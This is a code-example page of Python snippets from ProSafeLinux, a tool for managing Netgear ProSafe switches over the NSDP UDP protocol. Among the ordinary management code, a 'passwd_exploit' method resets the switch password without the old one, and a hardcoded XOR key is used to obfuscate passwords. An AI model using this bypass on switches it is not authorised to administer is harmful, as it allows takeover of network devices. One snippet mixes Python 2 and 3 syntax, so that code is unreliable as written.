コード例 #1
0
ファイル: psl-cli.py プロジェクト: evrardjp/ProSafeLinux
def query_raw(args, switch):
    "get all values, even unknown"
    print("QUERY DEBUG RAW")
    if not(args.passwd == None):
        login = {switch.CMD_PASSWORD: args.passwd[0]}
        switch.transmit(login, args.mac[0], switch.transfunc)
    i = 0x0001
    while (i < ProSafeLinux.CMD_END.get_id()):
        query_cmd = []
        query_cmd.append(psl_typ.PslTypHex(i, "Command %d" % i))
        try:
            switch.query(query_cmd, args.mac[0], switch.rec_raw)
            found = None
            for qcmd in list(switch.outdata.keys()):
                if (isinstance(qcmd, psl_typ.PslTyp)):
                    if qcmd.get_id() == i:
                        found = qcmd

            if found is None:
                print("NON:%04x:%-29s:%s" % (i, "", switch.outdata["raw"]))
            else:
                print("RES:%04x:%-29s:%s " % (i, switch.outdata[found],
                    switch.outdata["raw"]))
            if args.debug:
                for key in list(switch.outdata.keys()):
                    print("%x-%-29s%s" % (i, key, switch.outdata[key]))
        except (KeyboardInterrupt, SystemExit):
            raise
        except:
            print("ERR:%04x:%s" % (i, sys.exc_info()[1]))
        i = i + 1
コード例 #2
0
ファイル: psl_class.py プロジェクト: evrardjp/ProSafeLinux
    def parse_packet(self, pack, unknown_warn):
        "unpack packet send by the switch"
        if self.debug:
            pprint.pprint(len(pack[2:4]))
        data = {}
        if struct.unpack(">H", pack[2:4])[0] != 0x0000:
            data["error"] = struct.unpack(">H", pack[4:6])[0]
#        data["seq"] = struct.unpack(">H", pack[22:24])[0]
#        data["ctype"] = struct.unpack(">H", pack[0:2])[0]
#        data["mymac"] = binascii.hexlify(pack[8:14])
        data["theirmac"] = binascii.hexlify(pack[14:20]).decode()
        pos = 32
        cmd_id = 0
        while (pos < len(pack)):
            if self.debug:
                print("pos:%d len: %d" % (pos, len(pack)))
            cmd_id = struct.unpack(">H", pack[pos:(pos + 2)])[0]
            if cmd_id in self.cmd_by_id:
                cmd = self.cmd_by_id[cmd_id]
            else:
                if unknown_warn:
                    print("Unknown Response %d" % cmd_id)
                cmd = psl_typ.PslTypHex(cmd_id, "UNKNOWN %d" % cmd_id)
            pos = pos + 2
            cmdlen = struct.unpack(">H", pack[pos:(pos + 2)])[0]
            pos = pos + 2
            if cmdlen > 0:
                value = cmd.unpack_py(pack[pos:(pos + cmdlen)])
            else:
                value = None
            if cmd in data and value != None:
                if type(data[cmd]) != type(list()):
                    data[cmd] = [data[cmd]]
                data[cmd].append(value)
            elif value != None:
                data[cmd] = value
            if self.debug:
                print("cmd_id %d of length %d :" % (cmd_id, cmdlen))
                data_hex = binascii.hexlify(pack[pos:(pos + cmdlen)]).decode()
                print("data=" + data_hex)
            pos = pos + cmdlen
        return data
コード例 #3
0
class ProSafeLinux:
    "Main class to communicate with a ProSafe gs108e gs105e Switch"
    CMD_MODEL = psl_typ.PslTypStringQueryOnly(0x0001, "model")
    CMD_FIMXE2 = psl_typ.PslTypHex(0x0002, "fixme2")
    CMD_NAME = psl_typ.PslTypString(0x0003, "name")
    CMD_MAC = psl_typ.PslTypMac(0x0004, "MAC")
    CMD_LOCATION = psl_typ.PslTypString(0x0005, "location")
    CMD_IP = psl_typ.PslTypIpv4(0x0006, "ip")
    CMD_NETMASK = psl_typ.PslTypIpv4(0x0007, "netmask")
    CMD_GATEWAY = psl_typ.PslTypIpv4(0x0008, "gateway")
    CMD_NEW_PASSWORD = psl_typ.PslTypPassword(0x0009, "new_password", True)
    CMD_PASSWORD = psl_typ.PslTypPassword(0x000a, "password", False)
    CMD_DHCP = psl_typ.PslTypDHCP(0x000b, "dhcp")
    CMD_FIXMEC = psl_typ.PslTypHex(0x000c, "fixmeC")
    CMD_FIRMWAREV = psl_typ.PslTypStringQueryOnly(0x000d, "firmwarever")
    CMD_FIRMWARE2V = psl_typ.PslTypStringQueryOnly(0x000e, "firmware2ver")
    CMD_FIRMWAREACTIVE = psl_typ.PslTypHex(0x000f, "firmware_active")
    CMD_REBOOT = psl_typ.PslTypAction(0x0013, "reboot")
    CMD_FACTORY_RESET = psl_typ.PslTypAction(0x0400, "factory_reset")
    CMD_SPEED_STAT = psl_typ.PslTypSpeedStat(0x0c00, "speed_stat")
    CMD_PORT_STAT = psl_typ.PslTypPortStat(0x1000, "port_stat")
    CMD_RESET_PORT_STAT = psl_typ.PslTypAction(0x1400, "reset_port_stat")
    CMD_TEST_CABLE = psl_typ.PslTypHexNoQuery(0x1800, "test_cable")
    CMD_TEST_CABLE_RESP = psl_typ.PslTypHexNoQuery(0x1c00, "test_cable_resp")
    CMD_VLAN_SUPPORT = psl_typ.PslTypVlanSupport(0x2000, "vlan_support")
    CMD_VLAN_ID = psl_typ.PslTypVlanId(0x2400, "vlan_id")
    CMD_VLAN802_ID = psl_typ.PslTypVlan802Id(0x2800, "vlan802_id")
    CMD_VLANPVID = psl_typ.PslTypVlanPVID(0x3000, "vlan_pvid")
    CMD_QUALITY_OF_SERVICE = psl_typ.PslTypQos(0x3400, "qos")
    CMD_PORT_BASED_QOS = psl_typ.PslTypPortBasedQOS(0x3800, "port_based_qos")
    CMD_BANDWIDTH_INCOMING_LIMIT = psl_typ.PslTypBandwidth(
        0x4c00, "bandwidth_in")
    CMD_BANDWIDTH_OUTGOING_LIMIT = psl_typ.PslTypBandwidth(
        0x5000, "bandwidth_out")
    CMD_FIXME5400 = psl_typ.PslTypHex(0x5400, "fixme5400")
    CMD_BROADCAST_BANDWIDTH = psl_typ.PslTypBandwidth(0x5800,
                                                      "broadcast_bandwidth")
    CMD_PORT_MIRROR = psl_typ.PslTypPortMirror(0x5c00, "port_mirror")
    CMD_NUMBER_OF_PORTS = psl_typ.PslTypHex(0x6000, "number_of_ports")
    CMD_IGMP_SNOOPING = psl_typ.PslTypIGMPSnooping(0x6800, "igmp_snooping")
    CMD_BLOCK_UNKNOWN_MULTICAST = psl_typ.PslTypBoolean(
        0x6c00, "block_unknown_multicast")
    CMD_IGMP_HEADER_VALIDATION = psl_typ.PslTypBoolean(
        0x7000, "igmp_header_validation")
    CMD_FIXME7400 = psl_typ.PslTypHex(0x7400, "fixme7400")
    CMD_END = psl_typ.PslTypEnd(0xffff, "END")

    CTYPE_QUERY_REQUEST = 0x0101
    #    CTYPE_QUERY_RESPONSE = 0x0102
    CTYPE_TRANSMIT_REQUEST = 0x103
    #    CTYPE_TRANSMIT_RESPONSE = 0x104

    RECPORT = 63321
    SENDPORT = 63322

    def __init__(self):
        "constructor"
        self.myhost = None
        self.srcmac = None
        self.ssocket = None
        self.rsocket = None
        self.timeout = 0.1

        # i still see no win in randomizing the starting sequence...
        self.seq = random.randint(100, 2000)
        self.debug = False
        self.mac_cache = {}
        self.cmd_by_id = {}
        self.cmd_by_name = {}
        for key, value in inspect.getmembers(ProSafeLinux):
            if key.startswith("CMD_"):
                self.cmd_by_name[value.get_name()] = value
                self.cmd_by_id[value.get_id()] = value

    def set_timeout(self, timeout):
        self.timeout = timeout

    def bind(self, interface):
        "bind to an interface"
        self.myhost = get_ip_address(interface)
        if not self.myhost:
            return False
        self.srcmac = pack_mac(get_hw_addr(interface))

        # send socket
        self.ssocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.ssocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.ssocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
        self.ssocket.bind((self.myhost, self.RECPORT))

        # receive socket
        self.rsocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.rsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # self.rsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
        self.rsocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
        self.rsocket.bind(("255.255.255.255", self.RECPORT))

        return True

    def get_query_cmds(self):
        "return all commands which can be used in a query"
        rtn = []
        for cmd in list(self.cmd_by_name.values()):
            if cmd.is_queryable():
                rtn.append(cmd)
        return rtn

    def get_setable_cmds(self):
        "returns all commands which can be set"
        rtn = []
        for cmd in list(self.cmd_by_name.values()):
            if cmd.is_setable():
                rtn.append(cmd)
        return rtn

    def get_cmd_by_name(self, name):
        "return a command by its name"
        if name in self.cmd_by_name:
            return self.cmd_by_name[name]
        else:
            return None

    def get_cmd_by_hex(self, cmd_id):
        "return a command by its hex_value"
        if cmd_id in self.cmd_by_id:
            return self.cmd_by_id[cmd_id]
        else:
            return False

    def set_debug_output(self):
        "set debugging"
        self.debug = True

    def recv(self, maxlen=8192):
        "receive a packet from the switch"
        self.rsocket.settimeout(self.timeout)
        try:
            message, address = self.rsocket.recvfrom(maxlen)
        except socket.timeout:
            return (None, None)
        except socket.error as error:
            # according to the Python documentation this error
            # is system-specifc; this works on Linux
            if error.errno == errno.EAGAIN:
                return (None, None)
            raise
        if self.debug:
            message_hex = binascii.hexlify(message).decode()
            print("recv=" + message_hex)
        return (message, address)

    def recv_all(self):
        "receive all pending packets"
        while True:
            (message, address) = self.recv()
            if message is None:
                return (None, address)
            return (message, address)

    def parse_data(self, pack):
        "unpack packet send by the switch"
        if pack == None:
            return False
        if self.debug:
            pprint.pprint(len(pack[2:4]))
        data = {}
        if struct.unpack(">H", pack[2:4])[0] != 0x0000:
            errorcmd = self.get_cmd_by_hex(struct.unpack(">H", pack[4:6])[0])
            if errorcmd:
                data["error"] = errorcmd.get_name()
            else:
                data["error"] = struct.unpack(">H", pack[4:6])[0]
#        data["seq"] = struct.unpack(">H", pack[22:24])[0]
#        data["ctype"] = struct.unpack(">H", pack[0:2])[0]
#        data["mymac"] = binascii.hexlify(pack[8:14])
#        data["theirmac"] = binascii.hexlify(pack[14:20]).decode()
        pos = 32
        cmd_id = 0
        while (pos < len(pack)):
            if self.debug:
                print("pos:%d len: %d" % (pos, len(pack)))
            cmd_id = struct.unpack(">H", pack[pos:(pos + 2)])[0]
            if self.get_cmd_by_hex(cmd_id):
                cmd = self.get_cmd_by_hex(cmd_id)
            else:
                # we don't need a switch for "unknown_warn" here...let the client handle unknown responses
                #                print("Unknown Response %d" % cmd_id)
                cmd = psl_typ.PslTypUnknown(cmd_id, "UNKNOWN %d" % cmd_id)
            pos = pos + 2
            cmdlen = struct.unpack(">H", pack[pos:(pos + 2)])[0]
            pos = pos + 2
            if cmdlen > 0:
                value = cmd.unpack_cmd(pack[pos:(pos + cmdlen)])
            else:
                value = None
            if cmd in data and value != None:
                if type(data[cmd]) != type(list()):
                    data[cmd] = [data[cmd]]
                data[cmd].append(value)
            elif value != None:
                data[cmd] = value
            if self.debug:
                print("cmd_id %d of length %d :" % (cmd_id, cmdlen))
                data_hex = binascii.hexlify(pack[pos:(pos + cmdlen)]).decode()
                print("data=" + data_hex)
            pos = pos + cmdlen
        return data

    def send(self, host, port, data):
        "send data to host on port"
        if self.debug:
            # binascii.unhexlify() requires bytes in Python 3
            data_hex = binascii.hexlify(data).decode()
            print("send to ip " + host + " data = " + data_hex)
        self.ssocket.sendto(data, (host, port))
        self.seq += 1

    def baseudp(self, ctype, destmac):
        "Base UDP Package"
        reserved = b"\x00"
        if destmac is None:
            destmac = 6 * b"\x00"
        if len(destmac) > 6:
            destmac = pack_mac(destmac)
        data = (struct.pack(">h", ctype) + 6 * reserved + self.srcmac +
                destmac + 2 * reserved)
        data += struct.pack(">h", self.seq)
        data += b"NSDP" + 4 * reserved
        return data

    @staticmethod
    def addudp(cmd, datain=None):
        "Additional data to the base package"
        data = struct.pack(">H", cmd.get_id())
        if (datain is None):
            data += struct.pack(">H", 0)
        else:
            pdata = cmd.pack_py(datain)
            data += struct.pack(">H", len(pdata))
            data += pdata
        return data

    def ip_from_mac(self, mac):
        "query for the ip of a switch with a given mac address"
        if mac is None:
            return "255.255.255.255"
        if mac in self.mac_cache:
            return self.mac_cache[mac]
        # FIXME: Search in /proc/net/arp if mac there use this one
        #with open("/proc/net/arp") as f:
        # for line in f:
        #   print line
        query_arr = [self.CMD_MAC, self.CMD_IP]
        message, address = self.query(query_arr,
                                      mac,
                                      with_address=True,
                                      use_ip_func=False)
        if message == None:
            # try once more
            message, address = self.query(query_arr,
                                          mac,
                                          with_address=True,
                                          use_ip_func=False)
        if message != None and message != False:
            if self.CMD_MAC in message:
                if message[self.CMD_MAC].capitalize() == mac.capitalize():
                    return address[0]
        return "255.255.255.255"

    def send_query(self, cmd_arr, mac, use_ip_func=True):
        "request some values from a switch, without changing them"
        if use_ip_func:
            ipadr = self.ip_from_mac(mac)
        else:
            ipadr = "255.255.255.255"
        data = self.baseudp(destmac=mac, ctype=self.CTYPE_QUERY_REQUEST)
        for cmd in cmd_arr:
            data += self.addudp(cmd)
        data += self.addudp(self.CMD_END)
        self.send(ipadr, self.SENDPORT, data)

    def query(self, cmd_arr, mac, with_address=False, use_ip_func=True):
        "get some values from the switch, but do not change them"
        # translate non-list to list
        if type(cmd_arr).__name__ != 'tupe' and type(
                cmd_arr).__name__ != 'list':
            cmd_arr = (cmd_arr, )
        self.send_query(cmd_arr, mac, use_ip_func)
        message, address = self.recv_all()
        if with_address:
            return (self.parse_data(message), address)
        else:
            return self.parse_data(message)

    def transmit(self, cmddict, mac):
        "change something in the switch, like name, mac ..."
        transmit_counter = 0
        ipadr = self.ip_from_mac(mac)
        data = self.baseudp(destmac=mac, ctype=self.CTYPE_TRANSMIT_REQUEST)
        firmwarevers = self.query(self.get_cmd_by_name("firmwarever"), mac)
        firmwarevers = firmwarevers.values()[0].translate({ord("."): None})
        # New firmwares put capital leter V in front ...
        if "V" == firmwarevers[0]:
            firmwarevers = firmwarevers[1:]

        if type(cmddict).__name__ == 'dict':
            if self.CMD_PASSWORD in cmddict:
                if int(firmwarevers) > 10004:
                    print("using password hack on firmware: %s" %
                          (firmwarevers))
                    _hashkey = "NtgrSmartSwitchRock"
                    _plainpass = cmddict[self.CMD_PASSWORD]
                    _password = ""
                    for i in range(len(_plainpass)):
                        _password += chr(ord(_plainpass[i]) ^ ord(_hashkey[i]))
                else:
                    _password = cmddict[self.CMD_PASSWORD]
                data += self.addudp(self.CMD_PASSWORD, _password)
            for cmd, pdata in list(cmddict.items()):
                if cmd != self.CMD_PASSWORD:
                    data += self.addudp(cmd, pdata)
        elif type(cmddict).__name__ == 'string':
            print 'got string!'
            data += cmddict
        data += self.addudp(self.CMD_END)
        self.send(ipadr, self.SENDPORT, data)
        message, address = self.recv_all()
        while message == None and transmit_counter < 3:
            time.sleep(1)
            message, address = self.recv_all()
            transmit_counter += 1
        if message == None:
            return {'error': 'no result received within 3 seconds'}
        return self.parse_data(message)

    def passwd_exploit(self, mac, new):
        "exploit in current (2012) firmware version, set a new password"
        # The order of the CMD_PASSWORD and CMD_NEW_PASSWORD is important
        data = self.addudp(self.CMD_NEW_PASSWORD, new)
        data += self.addudp(self.CMD_PASSWORD, new)
        return self.transmit(data, mac)

    def discover(self):
        "find any switch in the network"
        query_arr = [
            self.CMD_MODEL, self.CMD_NAME, self.CMD_MAC, self.CMD_DHCP,
            self.CMD_IP
        ]
        message = self.query(query_arr, None)
        if message != False:
            self.mac_cache[message[self.CMD_MAC]] = message[self.CMD_IP]
        return message

    def verify_data(self, datadict):
        "Verify the data we want to set on the switch"
        errors = []
        if ProSafeLinux.CMD_DHCP in datadict:
            if datadict[ProSafeLinux.CMD_DHCP]:
                if ((ProSafeLinux.CMD_IP in datadict)
                        or (ProSafeLinux.CMD_GATEWAY in datadict)
                        or (ProSafeLinux.CMD_NETMASK in datadict)):
                    errors.append(
                        "When dhcp=on, no ip,gateway nor netmask is allowed")
            else:
                if (not ((ProSafeLinux.CMD_IP in datadict) and
                         (ProSafeLinux.CMD_GATEWAY in datadict) and
                         (ProSafeLinux.CMD_NETMASK in datadict))):
                    errors.append(
                        "When dhcp=off, specify ip,gateway and netmask")
        else:
            if ((ProSafeLinux.CMD_IP in datadict)
                    or (ProSafeLinux.CMD_GATEWAY in datadict)
                    or (ProSafeLinux.CMD_NETMASK in datadict)):
                errors.append(
                    "Use dhcp off,ip,gateway and netmask option together")

        if len(errors) > 0:
            return (False, errors)
        else:
            return (True, None)
コード例 #4
0
ファイル: psl_class.py プロジェクト: evrardjp/ProSafeLinux
class ProSafeLinux:
    "Main class to communicate with a ProSafe gs108e gs105e Switch"
    CMD_MODEL = psl_typ.PslTypStringQueryOnly(0x0001, "model")
    CMD_FIMXE2 = psl_typ.PslTypHex(0x0002, "fixme2")
    CMD_NAME = psl_typ.PslTypString(0x0003, "name")
    CMD_MAC = psl_typ.PslTypMac(0x0004, "MAC")
    CMD_FIMXE5 = psl_typ.PslTypHex(0x0005, "fixme5")
    CMD_IP = psl_typ.PslTypIpv4(0x0006, "ip")
    CMD_NETMASK = psl_typ.PslTypIpv4(0x0007, "netmask")
    CMD_GATEWAY = psl_typ.PslTypIpv4(0x0008, "gateway")
    CMD_NEW_PASSWORD = psl_typ.PslTypPassword(0x0009, "new_password", True)
    CMD_PASSWORD = psl_typ.PslTypPassword(0x000a, "password", False)
    CMD_DHCP = psl_typ.PslTypDHCP(0x000b, "dhcp")
    CMD_FIXMEC = psl_typ.PslTypHex(0x000c, "fixmeC")
    CMD_FIRMWAREV = psl_typ.PslTypStringQueryOnly(0x000d, "firmwarever")
    CMD_FIMXEE = psl_typ.PslTypHex(0x000e, "fixmeE")
    CMD_FIXMEF = psl_typ.PslTypHex(0x000f, "fixmeF")
    CMD_REBOOT = psl_typ.PslTypAction(0x0013, "reboot")
    CMD_FACTORY_RESET = psl_typ.PslTypAction(0x0400, "factory_reset")
    CMD_SPEED_STAT = psl_typ.PslTypSpeedStat(0x0c00, "speed_stat")
    CMD_PORT_STAT = psl_typ.PslTypPortStat(0x1000, "port_stat")
    CMD_RESET_PORT_STAT = psl_typ.PslTypAction(0x1400, "reset_port_stat")
    CMD_TEST_CABLE = psl_typ.PslTypHexNoQuery(0x1800, "test_cable")
    CMD_TEST_CABLE_RESP = psl_typ.PslTypHexNoQuery(0x1c00, "test_cable_resp")
    CMD_VLAN_SUPPORT = psl_typ.PslTypVlanSupport(0x2000, "vlan_support")
    CMD_VLAN_ID = psl_typ.PslTypVlanId(0x2400, "vlan_id")
    CMD_VLAN802_ID = psl_typ.PslTypVlan802Id(0x2800, "vlan802_id")
    CMD_VLANPVID = psl_typ.PslTypVlanPVID(0x3000, "vlan_pvid")
    CMD_QUALITY_OF_SERVICE = psl_typ.PslTypQos(0x3400, "qos")
    CMD_PORT_BASED_QOS = psl_typ.PslTypPortBasedQOS(0x3800, "port_based_qos")
    CMD_BANDWIDTH_INCOMING_LIMIT = psl_typ.PslTypBandwidth(
        0x4c00, "bandwidth_in")
    CMD_BANDWIDTH_OUTGOING_LIMIT = psl_typ.PslTypBandwidth(
        0x5000, "bandwidth_out")
    CMD_FIXME5400 = psl_typ.PslTypHex(0x5400, "fxime5400")
    CMD_BROADCAST_BANDWIDTH = psl_typ.PslTypBandwidth(0x5800,
                                                      "broadcast_bandwidth")
    CMD_PORT_MIRROR = psl_typ.PslTypPortMirror(0x5c00, "port_mirror")
    CMD_NUMBER_OF_PORTS = psl_typ.PslTypHex(0x6000, "number_of_ports")
    CMD_IGMP_SNOOPING = psl_typ.PslTypIGMPSnooping(0x6800, "igmp_snooping")
    CMD_BLOCK_UNKNOWN_MULTICAST = psl_typ.PslTypBoolean(
        0x6c00, "block_unknown_multicast")
    CMD_IGMP_HEADER_VALIDATION = psl_typ.PslTypBoolean(
        0x7000, "igmp_header_validation")
    CMD_FIXME7400 = psl_typ.PslTypHex(0x7400, "fixme7400")
    CMD_END = psl_typ.PslTypEnd(0xffff, "END")

    CTYPE_QUERY_REQUEST = 0x0101
    #    CTYPE_QUERY_RESPONSE = 0x0102
    CTYPE_TRANSMIT_REQUEST = 0x103
    #    CTYPE_TRANSMIT_RESPONSE = 0x104

    RECPORT = 63321
    SENDPORT = 63322

    def __init__(self):
        "constructor"
        self.myhost = None
        self.srcmac = None
        self.ssocket = None
        self.rsocket = None

        self.seq = random.randint(100, 2000)
        self.outdata = {}
        self.debug = False
        self.mac_cache = {}
        self.cmd_by_id = {}
        self.cmd_by_name = {}
        for key, value in inspect.getmembers(ProSafeLinux):
            if key.startswith("CMD_"):
                self.cmd_by_name[value.get_name()] = value
                self.cmd_by_id[value.get_id()] = value

    def bind(self, interface):
        "bind to an interface"
        self.myhost = get_ip_address(interface)
        if not self.myhost:
            return False
        self.srcmac = pack_mac(get_hw_addr(interface))

        # send socket
        self.ssocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.ssocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.ssocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)

        # The following requires root permission so we do not do this:
        # self.socket.setsockopt(socket.SOL_SOCKET,
        #                               IN.SO_BINDTODEVICE,"eth1"+'\0')

        self.ssocket.bind((self.myhost, self.RECPORT))

        # receive socket
        self.rsocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.rsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.rsocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
        self.rsocket.bind(("255.255.255.255", self.RECPORT))

        return True

    def get_query_cmds(self):
        "return all commands which can be used in a query"
        rtn = []
        for cmd in list(self.cmd_by_name.values()):
            if cmd.is_queryable():
                rtn.append(cmd)
        return rtn

    def get_setable_cmds(self):
        "returns all commands which can be set"
        rtn = []
        for cmd in list(self.cmd_by_name.values()):
            if cmd.is_setable():
                rtn.append(cmd)
        return rtn

    def get_cmd_by_name(self, name):
        "return a command by its name"
        return self.cmd_by_name[name]

    def set_debug_output(self):
        "set debugging"
        self.debug = True

    def recv(self, recvfunc, maxlen=8192, timeout=0.5):
        "receive a packet from the switch"
        self.rsocket.settimeout(timeout)
        try:
            message, address = self.rsocket.recvfrom(maxlen)
        except socket.timeout:
            return (None, None)
        except socket.error as error:
            # according to the Python documentation this error
            # is system-specifc; this works on Linux
            if error.errno == errno.EAGAIN:
                return (None, None)
            raise
        if self.debug:
            message_hex = binascii.hexlify(message).decode()
            print("recv=" + message_hex)
        if recvfunc is not None:
            recvfunc(message, address)
        return (message, address)

    def recv_all(self, recvfunc, maxlen=8192, timeout=0.5):
        "receive all pending packets"
        while True:
            (message, address) = self.recv(recvfunc, maxlen, timeout)
            if message is None:
                return

    def parse_packet(self, pack, unknown_warn):
        "unpack packet send by the switch"
        if self.debug:
            pprint.pprint(len(pack[2:4]))
        data = {}
        if struct.unpack(">H", pack[2:4])[0] != 0x0000:
            data["error"] = struct.unpack(">H", pack[4:6])[0]
#        data["seq"] = struct.unpack(">H", pack[22:24])[0]
#        data["ctype"] = struct.unpack(">H", pack[0:2])[0]
#        data["mymac"] = binascii.hexlify(pack[8:14])
        data["theirmac"] = binascii.hexlify(pack[14:20]).decode()
        pos = 32
        cmd_id = 0
        while (pos < len(pack)):
            if self.debug:
                print("pos:%d len: %d" % (pos, len(pack)))
            cmd_id = struct.unpack(">H", pack[pos:(pos + 2)])[0]
            if cmd_id in self.cmd_by_id:
                cmd = self.cmd_by_id[cmd_id]
            else:
                if unknown_warn:
                    print("Unknown Response %d" % cmd_id)
                cmd = psl_typ.PslTypHex(cmd_id, "UNKNOWN %d" % cmd_id)
            pos = pos + 2
            cmdlen = struct.unpack(">H", pack[pos:(pos + 2)])[0]
            pos = pos + 2
            if cmdlen > 0:
                value = cmd.unpack_py(pack[pos:(pos + cmdlen)])
            else:
                value = None
            if cmd in data and value != None:
                if type(data[cmd]) != type(list()):
                    data[cmd] = [data[cmd]]
                data[cmd].append(value)
            elif value != None:
                data[cmd] = value
            if self.debug:
                print("cmd_id %d of length %d :" % (cmd_id, cmdlen))
                data_hex = binascii.hexlify(pack[pos:(pos + cmdlen)]).decode()
                print("data=" + data_hex)
            pos = pos + cmdlen
        return data

    def discoverfunc(self, msg, adr):
        "executed by discover to display any switch in the network"
        data = self.parse_packet(msg, True)
        dhcpstr = ""
        if (data[self.CMD_DHCP]):
            dhcpstr = " DHCP=on"
        print(" * %s\t%s\t%s\t%s\t%s" %
              (data[self.CMD_MAC], data[self.CMD_IP], data[self.CMD_MODEL],
               data.get(self.CMD_NAME, ''), dhcpstr))

    def storediscoverfunc(self, msg, adr):
        "store discover ip"
        data = self.parse_packet(msg, True)
        if self.debug:
            print("Store MAC, IP: " +
                  (data[self.CMD_MAC] + " " + data[self.CMD_IP]))
        self.mac_cache[data[self.CMD_MAC]] = data[self.CMD_IP]
        #print " * %s\t%s\t%s\t%s\t%s" % (data[self.CMD_MAC],
        # data[self.CMD_IP], data[self.CMD_MODEL], data[self.CMD_NAME], dhcpstr)

    def transfunc(self, msg, adr):
        "analyse response, after transfer"
        #print "==FOUND SWITCH=="
        data = self.parse_packet(msg, True)
        if self.debug:
            pprint.pprint(data)
            if data["error"]:
                try:
                    print("Error with " +
                          self.cmd_by_id(self.outdata["error"]))
                except KeyError:
                    print("Unknown Error")

    def storefunc(self, msg, adr):
        "store data in outdata"
        self.outdata = self.parse_packet(msg, True)
        if self.debug:
            pprint.pprint(self.outdata)
            if "error" in self.outdata:
                try:
                    print("Error with " +
                          self.cmd_by_id(self.outdata["error"]))
                except KeyError:
                    print("Unknown Error")

    def rec_raw(self, msg, adr):
        "receive raw data"
        try:
            self.outdata = self.parse_packet(msg, False)
        except:
            pass
        self.outdata["raw"] = binascii.hexlify(msg)

    def send(self, host, port, data):
        "send data to host on port"
        if self.debug:
            # binascii.unhexlify() requires bytes in Python 3
            data_hex = binascii.hexlify(data).decode()
            print("send to ip " + host + " data = " + data_hex)
        self.ssocket.sendto(data, (host, port))
        self.seq += 1

    def baseudp(self, ctype, destmac):
        "Base UDP Package"
        reserved = b"\x00"
        if destmac is None:
            destmac = 6 * b"\x00"
        if len(destmac) > 6:
            destmac = pack_mac(destmac)
        data = (struct.pack(">h", ctype) + 6 * reserved + self.srcmac +
                destmac + 2 * reserved)
        data += struct.pack(">h", self.seq)
        data += b"NSDP" + 4 * reserved
        return data

    @staticmethod
    def addudp(cmd, datain=None):
        "Additional data to the base package"
        data = struct.pack(">H", cmd.get_id())
        if (datain is None):
            data += struct.pack(">H", 0)
        else:
            pdata = cmd.pack_py(datain)
            data += struct.pack(">H", len(pdata))
            data += pdata
        return data

    # why? we get the ip address in the reply back?
    def ip_from_mac(self, mac):
        "query for the ip of a switch with a given mac address"
        if mac is None:
            return "255.255.255.255"
        if mac in self.mac_cache:
            return self.mac_cache[mac]
        #print "mac="+mac
        # FIXME: Search in /proc/net/arp if mac there use this one
        #with open("/proc/net/arp") as f:
        # for line in f:
        #   print line
        query_arr = [self.CMD_MAC, self.CMD_IP]
        self.query(query_arr, mac, self.storediscoverfunc, use_ip_func=False)
        if mac in self.mac_cache:
            return self.mac_cache[mac]
        print("can't find mac: " + mac)
        return "255.255.255.255"

    def send_query(self, cmd_arr, mac, use_ip_func=True):
        "request some values from a switch, without changing them"
        if use_ip_func:
            ipadr = self.ip_from_mac(mac)
        else:
            ipadr = "255.255.255.255"
        data = self.baseudp(destmac=mac, ctype=self.CTYPE_QUERY_REQUEST)
        for cmd in cmd_arr:
            data += self.addudp(cmd)
        data += self.addudp(self.CMD_END)
        self.outdata = {}
        self.send(ipadr, self.SENDPORT, data)

    def query(self, cmd_arr, mac, func, use_ip_func=True):
        "get some values from the switch, but do not change them"
        self.send_query(cmd_arr, mac, use_ip_func)
        self.recv_all(func)

    def transmit(self, cmd_arr, mac, func):
        "change something in the switch, like name, mac ..."
        ipadr = self.ip_from_mac(mac)
        data = self.baseudp(destmac=mac, ctype=self.CTYPE_TRANSMIT_REQUEST)
        if self.CMD_PASSWORD in cmd_arr:
            data += self.addudp(self.CMD_PASSWORD, cmd_arr[self.CMD_PASSWORD])
        for cmd, pdata in list(cmd_arr.items()):
            if cmd != self.CMD_PASSWORD:
                data += self.addudp(cmd, pdata)
        data += self.addudp(self.CMD_END)
        self.send(ipadr, self.SENDPORT, data)
        time.sleep(0.7)
        self.recv_all(func)

    def passwd(self, mac, old, new, func):
        "change password from old to new"
        # The order of the CMD_PASSWORD and CMD_NEW_PASSWORD is important
        ipadr = self.ip_from_mac(mac)
        data = self.baseudp(destmac=mac, ctype=self.CTYPE_TRANSMIT_REQUEST)
        data += self.addudp(self.CMD_PASSWORD, old)
        data += self.addudp(self.CMD_NEW_PASSWORD, new)
        data += self.addudp(self.CMD_END)
        self.send(ipadr, self.SENDPORT, data)
        time.sleep(0.7)
        self.recv_all(func)

    def passwd_exploit(self, mac, new, func):
        "exploit in current (2012) firmware version, set a new password"
        # The order of the CMD_PASSWORD and CMD_NEW_PASSWORD is important
        ipadr = self.ip_from_mac(mac)
        data = self.baseudp(destmac=mac, ctype=self.CTYPE_TRANSMIT_REQUEST)
        data += self.addudp(self.CMD_NEW_PASSWORD, new)
        data += self.addudp(self.CMD_PASSWORD, new)
        data += self.addudp(self.CMD_END)
        self.send(ipadr, self.SENDPORT, data)
        time.sleep(0.7)
        self.recv_all(func)

    def send_discover(self):
        "find any switch in the network"
        query_arr = [
            self.CMD_MODEL, self.CMD_NAME, self.CMD_MAC, self.CMD_DHCP,
            self.CMD_IP
        ]
        self.send_query(query_arr, None)

    def discover(self):
        "find any switch in the network"
        query_arr = [
            self.CMD_MODEL, self.CMD_NAME, self.CMD_MAC, self.CMD_DHCP,
            self.CMD_IP
        ]
        self.query(query_arr, None, self.discoverfunc)